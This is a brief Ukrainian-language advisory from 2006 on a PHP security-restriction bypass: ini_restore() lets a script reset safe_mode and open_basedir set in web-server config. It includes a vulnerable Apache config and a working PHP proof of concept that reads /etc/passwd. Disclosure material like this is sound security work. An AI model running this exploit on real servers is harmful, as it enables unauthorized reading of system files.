Обхід обмежень безпеки в PHP
21:15 28.09.2006Можливий обхід обмежень безпеки в PHP.
Уразливі версії: PHP <= 4.4.4, PHP <= 5.1.6.
Уразливість дозволяє віддаленому користувачу одержати доступ до важливих даних в системі.
Уразливість існує через недостатнє обмеження на зміну параметрів safe_mode і open_basedir у функції ini_restore(). Якщо ці обмеження встановлені в настроюваннях віртуального хоста веб сервера, а у файлі php.ini знаходяться значення за замовчуванням, зловмисник може відновити значення за замовчуванням і обійти обмеження, встановлені у конфігураційному файлі web сервера.
Приклад уразливої конфігурації:
<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>
Експлоіт:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>
Вдала експлуатація уразливості дозволить зловмиснику одержати доступ до вмісту довільних файлів даної системи.
Додаткова інформація: